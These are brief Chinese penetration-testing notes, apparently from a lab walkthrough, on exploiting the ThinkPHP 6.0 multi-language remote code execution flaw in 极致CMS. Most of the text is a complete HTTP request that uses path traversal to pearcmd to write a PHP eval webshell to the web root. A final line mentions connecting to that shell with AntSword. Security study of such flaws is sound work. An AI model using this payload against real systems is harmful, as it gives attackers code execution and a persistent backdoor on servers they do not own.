极致CMS

Pasted image 20260120235836.png

1. 极致CMS thinkPHP 6.0 多语言RCE

ThinkPHP

GET /index.php?+config-create+/&l=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php HTTP/1.1 
Host: 172.22.18.61 
Cookie: PHPSESSID=86b362f4f08709b6643cbbfbe032adb3 
Connection: close

蚁剑链接
Pasted image 20260121001209.png